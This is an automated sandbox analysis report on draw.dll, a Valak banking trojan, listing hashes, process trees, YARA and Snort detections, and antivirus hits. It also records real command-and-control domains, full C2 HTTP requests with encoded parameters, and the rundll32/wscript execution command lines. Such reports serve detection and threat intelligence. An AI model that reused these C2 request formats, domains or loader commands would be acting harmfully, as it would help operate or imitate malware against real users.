Create Interactive Tour

Windows Analysis Report
draw.dll

Overview

General Information

Sample Name:	draw.dll
Analysis ID:	756451
MD5:	78e05075e686397097de69fb0402263e
SHA1:	f3e9e7f321deb1a3408053168a6a67c6cd70e114
SHA256:	3769a84dbe7ba74ad7b0b355a864483d3562888a67806082ff094a56ce73bf7e
Tags:	bankerdlltrojan
Infos:

Detection

Valak

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

System process connects to network (likely due to code injection or exploit)

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Yara detected Valak

Snort IDS alert for network traffic

Machine Learning detection for sample

Uses 32bit PE files

Yara signature match

PE file contains an invalid checksum

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Sample execution stops while process was sleeping (likely an evasion)

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

Found WSH timer for Javascript or VBS script (likely evasive script)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 5220 cmdline: loaddll32.exe "C:\Users\user\Desktop\draw.dll" MD5: 1F562FBF37040EC6C43C8D5EF619EA39)

conhost.exe (PID: 5140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 4020 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\draw.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6128 cmdline: rundll32.exe "C:\Users\user\Desktop\draw.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

wscript.exe (PID: 3680 cmdline: wscript.exe //E:jscript "C:\Users\Public\iVIwVADQD.eLxan MD5: 7075DD7B9BE8807FCA93ACD86F724884)

rundll32.exe (PID: 2016 cmdline: rundll32.exe C:\Users\user\Desktop\draw.dll,Productword9 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

wscript.exe (PID: 4252 cmdline: wscript.exe //E:jscript "C:\Users\Public\iVIwVADQD.eLxan MD5: 7075DD7B9BE8807FCA93ACD86F724884)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\iVIwVADQD.eLxan	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
C:\Users\Public\iVIwVADQD.eLxan	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x1512:$ex: .ExecQuery( 0x4318:$ex: .ExecQuery( 0x143d:$s1: GetObject( 0x4243:$s1: GetObject( 0x990:$s2: String.fromCharCode( 0x3796:$s2: String.fromCharCode( 0x2825:$s3: ActiveXObject( 0x29f1:$s3: ActiveXObject( 0x562b:$s3: ActiveXObject( 0x57f7:$s3: ActiveXObject( 0x24fa:$s4: .Sleep( 0x5300:$s4: .Sleep(

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000003.00000003.535269013.0000000001190000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000003.00000003.535269013.0000000001190000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x1c631:$ex: .ExecQuery( 0x1c54d:$s1: GetObject( 0x1baf7:$s2: String.fromCharCode( 0x1d9c7:$s3: ActiveXObject( 0x1dbae:$s3: ActiveXObject( 0x1d697:$s4: .Sleep(
0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
0000000C.00000002.769445270.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x1c631:$ex: .ExecQuery( 0x1c54d:$s1: GetObject( 0x1baf7:$s2: String.fromCharCode( 0x1d9c7:$s3: ActiveXObject( 0x1dbae:$s3: ActiveXObject( 0x1d697:$s4: .Sleep(
00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
0000000C.00000003.663643714.0000000004B43000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x1c631:$ex: .ExecQuery( 0x1c54d:$s1: GetObject( 0x1baf7:$s2: String.fromCharCode( 0x1d9c7:$s3: ActiveXObject( 0x1dbae:$s3: ActiveXObject( 0x1d697:$s4: .Sleep(
00000010.00000002.768676273.0000000000708000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
0000000C.00000002.768788534.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
Process Memory Space: loaddll32.exe PID: 5220	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
Process Memory Space: loaddll32.exe PID: 5220	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x6100:$ex: .ExecQuery( 0x6035:$s1: GetObject( 0x56ad:$s2: String.fromCharCode( 0x7332:$s3: ActiveXObject( 0x74e6:$s3: ActiveXObject( 0x7037:$s4: .Sleep(
Process Memory Space: rundll32.exe PID: 6128	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
Process Memory Space: rundll32.exe PID: 6128	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x7e2e:$ex: .ExecQuery( 0x7d63:$s1: GetObject( 0x73db:$s2: String.fromCharCode( 0x9060:$s3: ActiveXObject( 0x9214:$s3: ActiveXObject( 0x8d65:$s4: .Sleep(
Process Memory Space: wscript.exe PID: 3680	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
Process Memory Space: wscript.exe PID: 3680	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x21c4:$ex: .ExecQuery( 0x3aa1:$ex: .ExecQuery( 0xd431:$ex: .ExecQuery( 0x10e5f:$ex: .ExecQuery( 0x1604a:$ex: .ExecQuery( 0x337e2:$ex: .ExecQuery( 0x20ef:$s1: GetObject( 0xd35c:$s1: GetObject( 0x10d8a:$s1: GetObject( 0x15f75:$s1: GetObject( 0x3370d:$s1: GetObject( 0x16bf:$s2: String.fromCharCode( 0xc92c:$s2: String.fromCharCode( 0x1035a:$s2: String.fromCharCode( 0x15545:$s2: String.fromCharCode( 0x32cdd:$s2: String.fromCharCode( 0x34ca:$s3: ActiveXObject( 0x3696:$s3: ActiveXObject( 0xe737:$s3: ActiveXObject( 0xe903:$s3: ActiveXObject( 0x12165:$s3: ActiveXObject(
Process Memory Space: wscript.exe PID: 4252	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
Process Memory Space: wscript.exe PID: 4252	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x3dd6:$ex: .ExecQuery( 0xf421:$ex: .ExecQuery( 0x14b25:$ex: .ExecQuery( 0x1bc1f:$ex: .ExecQuery( 0x1fa39:$ex: .ExecQuery( 0x23a68:$ex: .ExecQuery( 0x2d76c:$ex: .ExecQuery( 0x3d01:$s1: GetObject( 0xf34c:$s1: GetObject( 0x14a50:$s1: GetObject( 0x1bb4a:$s1: GetObject( 0x1f964:$s1: GetObject( 0x23993:$s1: GetObject( 0x2d697:$s1: GetObject( 0x32d1:$s2: String.fromCharCode( 0xe91c:$s2: String.fromCharCode( 0x14020:$s2: String.fromCharCode( 0x1b11a:$s2: String.fromCharCode( 0x1ef34:$s2: String.fromCharCode( 0x22f63:$s2: String.fromCharCode( 0x2cc67:$s2: String.fromCharCode(
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.3.rundll32.exe.334a950.0.unpack	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
4.3.rundll32.exe.334a950.0.unpack	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x10ae1:$ex: .ExecQuery( 0x109fd:$s1: GetObject( 0xffa7:$s2: String.fromCharCode( 0x11e77:$s3: ActiveXObject( 0x1205e:$s3: ActiveXObject( 0x11b47:$s4: .Sleep(
0.3.loaddll32.exe.b0a950.0.raw.unpack	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
0.3.loaddll32.exe.b0a950.0.raw.unpack	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x11ce1:$ex: .ExecQuery( 0x11bfd:$s1: GetObject( 0x111a7:$s2: String.fromCharCode( 0x13077:$s3: ActiveXObject( 0x1325e:$s3: ActiveXObject( 0x12d47:$s4: .Sleep(
4.3.rundll32.exe.334a950.0.raw.unpack	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
4.3.rundll32.exe.334a950.0.raw.unpack	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x11ce1:$ex: .ExecQuery( 0x11bfd:$s1: GetObject( 0x111a7:$s2: String.fromCharCode( 0x13077:$s3: ActiveXObject( 0x1325e:$s3: ActiveXObject( 0x12d47:$s4: .Sleep(
3.3.rundll32.exe.119a950.0.unpack	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
3.3.rundll32.exe.119a950.0.unpack	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x10ae1:$ex: .ExecQuery( 0x109fd:$s1: GetObject( 0xffa7:$s2: String.fromCharCode( 0x11e77:$s3: ActiveXObject( 0x1205e:$s3: ActiveXObject( 0x11b47:$s4: .Sleep(
3.3.rundll32.exe.119a950.0.raw.unpack	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
3.3.rundll32.exe.119a950.0.raw.unpack	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x11ce1:$ex: .ExecQuery( 0x11bfd:$s1: GetObject( 0x111a7:$s2: String.fromCharCode( 0x13077:$s3: ActiveXObject( 0x1325e:$s3: ActiveXObject( 0x12d47:$s4: .Sleep(
0.3.loaddll32.exe.b0a950.0.unpack	JoeSecurity_Allatori_Valak	Yara detected Valak	Joe Security
0.3.loaddll32.exe.b0a950.0.unpack	INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery	Detects JS potentially executing WMI queries	ditekSHen	0x10ae1:$ex: .ExecQuery( 0x109fd:$s1: GetObject( 0xffa7:$s2: String.fromCharCode( 0x11e77:$s3: ActiveXObject( 0x1205e:$s3: ActiveXObject( 0x11b47:$s4: .Sleep(
Click to see the 7 entries

Snort Signatures

ETPRO TROJAN Win32/Valak v33 CnC Activity M1 - Source IP: 192.168.2.3 - Destination IP: 152.199.19.161

Timestamp:	192.168.2.3152.199.19.16149702802842995 11/30/22-08:57:37.118787
SID:	2842995
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Valak v33 CnC Activity M1 - Source IP: 192.168.2.3 - Destination IP: 152.199.19.161

Timestamp:	192.168.2.3152.199.19.16149703802842995 11/30/22-08:58:20.522210
SID:	2842995
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Valak v33 CnC Activity M1 - Source IP: 192.168.2.3 - Destination IP: 207.148.248.143

Timestamp:	192.168.2.3207.148.248.14349706802842995 11/30/22-08:59:03.257622
SID:	2842995
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Valak v33 CnC Activity M1 - Source IP: 192.168.2.3 - Destination IP: 152.199.19.161

Timestamp:	192.168.2.3152.199.19.16149704802842995 11/30/22-08:58:20.803397
SID:	2842995
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Valak v33 CnC Activity M1 - Source IP: 192.168.2.3 - Destination IP: 207.148.248.143

Timestamp:	192.168.2.3207.148.248.14349705802842995 11/30/22-08:59:02.895059
SID:	2842995
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Valak v33 CnC Activity M1 - Source IP: 192.168.2.3 - Destination IP: 152.199.19.161

Timestamp:	192.168.2.3152.199.19.16149701802842995 11/30/22-08:57:37.104764
SID:	2842995
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

• AV Detection
• Compliance
• Networking
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: draw.dll

Avira: detected

Multi AV Scanner detection for submitted file

Source: draw.dll	ReversingLabs: Detection: 82%
Source: draw.dll	Virustotal: Detection: 75%			Perma Link

Antivirus detection for URL or domain

Source: http://a-zcorner.com/	Avira URL Cloud: Label: malware
Source: http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Z259a3	Avira URL Cloud: Label: malware
Source: http://d0d0f3d189430.com	Avira URL Cloud: Label: malware
Source: http://knockoutlights.com	Avira URL Cloud: Label: malware
Source: http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Y2p5b3	Avira URL Cloud: Label: malware
Source: http://a-zcorner.com	Avira URL Cloud: Label: malware
Source: http://d0d0abee1d18255e.com	Avira URL Cloud: Label: malware
Source: http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJJVisxNzBSMTE3PEJDVU1SSVYrMTcwUjExNzxgZ2p1Yzw0MGM1YDU1NDxrZ2I0Pzw1NDwyNT81&client=tarbneghyrdfwglztdpcknpjvzxbxtm&service_id=FE05211&ubwG=payxcvavvogx	Avira URL Cloud: Label: malware
Source: http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bGV2YH4%2BQEFXT1BLVCkzNTJQMzM1Pk	Avira URL Cloud: Label: malware
Source: http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Y2p5b3ExT05YQF9EWyY8Oj1fPDw6MU9OWEBfR	Avira URL Cloud: Label: malware
Source: http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Z259a3U1S0pcRFtAXyI4PjlbODg%2BNUtKXER	Avira URL Cloud: Label: malware
Source: http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=b	Avira URL Cloud: Label: malware
Source: http://knockoutlights.com/rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJJVisxNzBSMTE3PEJD	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: knockoutlights.com	Virustotal: Detection: 13%	Perma Link
Source: a-zcorner.com	Virustotal: Detection: 8%	Perma Link
Source: organicgreensfl.com	Virustotal: Detection: 5%	Perma Link

Machine Learning detection for sample

Source: draw.dll

Joe Sandbox ML: detected

Source: draw.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source:	Binary string: kbdusm.pdb source: loaddll32.exe, 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Month\ago\written\Weight\Root\vowel\FatOrder.pdb source: draw.dll
Source:	Binary string: Wkbdusm.pdb source: loaddll32.exe, 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe	Domain query: ec.atdmt.com
Source: C:\Windows\SysWOW64\wscript.exe	Network Connect: 207.148.248.143 80
Source: C:\Windows\SysWOW64\wscript.exe	Domain query: a-zcorner.com
Source: C:\Windows\SysWOW64\wscript.exe	Domain query: msnbot-207-46-194-33.search.msn.com
Source: C:\Windows\SysWOW64\wscript.exe	Domain query: knockoutlights.com

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2842995 ETPRO TROJAN Win32/Valak v33 CnC Activity M1 192.168.2.3:49701 -> 152.199.19.161:80
Source: Traffic	Snort IDS: 2842995 ETPRO TROJAN Win32/Valak v33 CnC Activity M1 192.168.2.3:49702 -> 152.199.19.161:80
Source: Traffic	Snort IDS: 2842995 ETPRO TROJAN Win32/Valak v33 CnC Activity M1 192.168.2.3:49703 -> 152.199.19.161:80
Source: Traffic	Snort IDS: 2842995 ETPRO TROJAN Win32/Valak v33 CnC Activity M1 192.168.2.3:49704 -> 152.199.19.161:80
Source: Traffic	Snort IDS: 2842995 ETPRO TROJAN Win32/Valak v33 CnC Activity M1 192.168.2.3:49705 -> 207.148.248.143:80
Source: Traffic	Snort IDS: 2842995 ETPRO TROJAN Win32/Valak v33 CnC Activity M1 192.168.2.3:49706 -> 207.148.248.143:80

Source: global traffic	HTTP traffic detected: GET /rpc.aspx?winrm=2387&view2=classic&regclid=bGV2YH4%2BQEFXT1BLVCkzNTJQMzM1PkBBV09QS1QpMzUyUDMzNT5iZWh3YT42MmE3Yjc3Nj5pZWA2PT43Nj4wNz03&client=ixxppezciktqtwhxserbxnujcbfpqcn&service_id=FE04120&ubwG=tzuqeqskfsnk HTTP/1.1Accept: /Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: knockoutlights.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rpc.aspx?winrm=2387&view2=classic&regclid=bmd0Ynw8QkNVTVJJVisxNzBSMTE3PEJDVU1SSVYrMTcwUjExNzxgZ2p1Yzw0MGM1YDU1NDxrZ2I0Pzw1NDwyNT81&client=tarbneghyrdfwglztdpcknpjvzxbxtm&service_id=FE05211&ubwG=payxcvavvogx HTTP/1.1Accept: /Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: knockoutlights.comConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: BIZLAND-SDUS BIZLAND-SDUS

Source: Joe Sandbox View

IP Address: 207.148.248.143 207.148.248.143

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Nov 2022 07:59:02 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.8Content-Length: 206Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 72 70 63 2e 61 73 70 78 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /rpc.aspx was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Nov 2022 07:59:03 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.8Content-Length: 206Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 72 70 63 2e 61 73 70 78 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /rpc.aspx was not found on this server.</p></body></html>

Source: wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	String found in binary or memory: http://a-zcorner.com
Source: wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a-zcorner.com/
Source: wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Y2p5b3
Source: wscript.exe, 0000000C.00000003.753860322.000000000085F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769679607.00000000051D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Y2p5b3ExT05YQF9EWyY8Oj1fPDw6MU9OWEBfR
Source: wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Z259a3
Source: wscript.exe, 00000010.00000002.769718218.00000000051A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://a-zcorner.com/rpc.aspx?winrm=2387&view2=classic&regclid=Z259a3U1S0pcRFtAXyI4PjlbODg%2BNUtKXER
Source: loaddll32.exe, 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, iVIwVADQD.eLxan.4.dr	String found in binary or memory: http://az361816.vo.msecnd.net
Source: wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://az361816.vo.msecnd.net/rpc.aspx?winrm=2387&view2=classic&regcl
Source: wscript.exe, 0000000C.00000003.617880772.0000000000849000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://az361816.vo.msecnd.net/rpc.aspx?winrm=2387&view2=classic&regclid=YGl6bHIyTE1bQ1xHWCU%2FOT5cPz
Source: wscript.exe, 00000010.00000003.614982319.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://az361816.vo.msecnd.net/rpc.aspx?winrm=2387&view2=classic&regclid=YWh7bXMzTUxaQl1GWSQ%2BOD9dPj
Source: wscript.exe, 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://az361816.vo.msecnd.netS
